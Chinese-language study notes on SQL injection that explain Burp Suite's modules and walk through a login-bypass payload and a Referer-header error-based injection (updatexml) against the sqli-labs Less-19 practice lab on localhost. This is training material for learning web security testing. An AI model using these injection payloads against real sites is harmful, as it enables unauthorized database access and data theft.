SQL注入-工具篇

BurpSuit

Targert 放置网站的信息

  site map 网站地图

Proxy 代理 

  Intercept 拦截 抓到的包都放在这里

  http hsitory http请求记录

options 抓包相关配置 

spider 爬虫

intruder 暴力破解

repeater 重放包

decoder 字符解码编码

抓取返回包(Proxy)

  options下的

  intercept server responses 下的 勾选 intercept responses based on the following rules

右键 sent to repeat  然后点击Repeater

判断列的个数。

先找出注入点 

右键 :sent to intruder 

点击 intruder 选择 payloads 

positions > clear$ > 选择需要变的东西 order by 后面的数字 > add$ > payload

payload sets > payload type (numbers) > payload options[Numbers] > From >To > Step >

菜单栏的Intruder 选择start attack > 进行分析。

 positions

GET /offlintab.appcache HTTP/1.1
Host: offlintab.firefoxchina.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://offlintab.firefoxchina.cn/
X-Moz: offline-resource
Cookie: Hm_lvt_dd4738b5fb302cb062ef19107df5d2e4=1523955400,1524015862,1524029076,1524186546; Hm_lpvt_dd4738b5fb302cb062ef19107df5d2e4=1524186546
Connection: keep-alive
If-Modified-Since: Fri, 23 Feb 2018 03:27:29 GMT
If-None-Match: "5a8f8a21-33a"

GET http请求的方法

/offlintab.appcache 请求的服务器的 URL

Host: ip加端口

User-Agent:当前浏览器的信息

Accept: 当前请求的格式

Accept-Encoding: 编码格式

post 注入

猜测 后台的语句

select count(1) where username=' ' and password=' '

如果后面的用户名密码都正确 登录成功 只要确保 前面的用户名为真即可

select count(1) where username=' ‘ or 1 #' and password=' '

referer注入

前提 登录成功

http://127.0.0.1/sqli-labs-master/Less-19/ 已知用户名密码均为admin   c'+updatexml(1,concat(0x7e,database(),0x7e),1)+'
在输入框中 试着输入 ' " )等都没有报错 

查看源码可以得出 输入的特殊字符都被过滤掉了

$value = stripslashes($value);

因此普通的注入显然不会出现任何的报错等信息

用burpsuite 抓一下包  看到有Referer: http://127.0.0.1/sqli-labs-master/Less-19/ 

从此处入手 输入 ' 发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1')' at line 1

将关键的部分提取出来是 : 127.0.0.1') 分析还是无法得出什么结论 

输入 ') 又有报错 :You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', '127.0.0.1')' at line 1

', '127.0.0.1')

发现 里面存在着一个逗号 

有逗号的SQL语句 包括 update , insert ,

update table_name set name ='root ',password='root' where id='1' ;

insert into table_name (name,passwd) values ('root','root');

由于后面并没有条件 因此判断是 insert语句

insert into table_name (name,passwd) values (' ','127.0.0.1'+updatexml(1,concat(0x7e,database(),0x7e),1)+');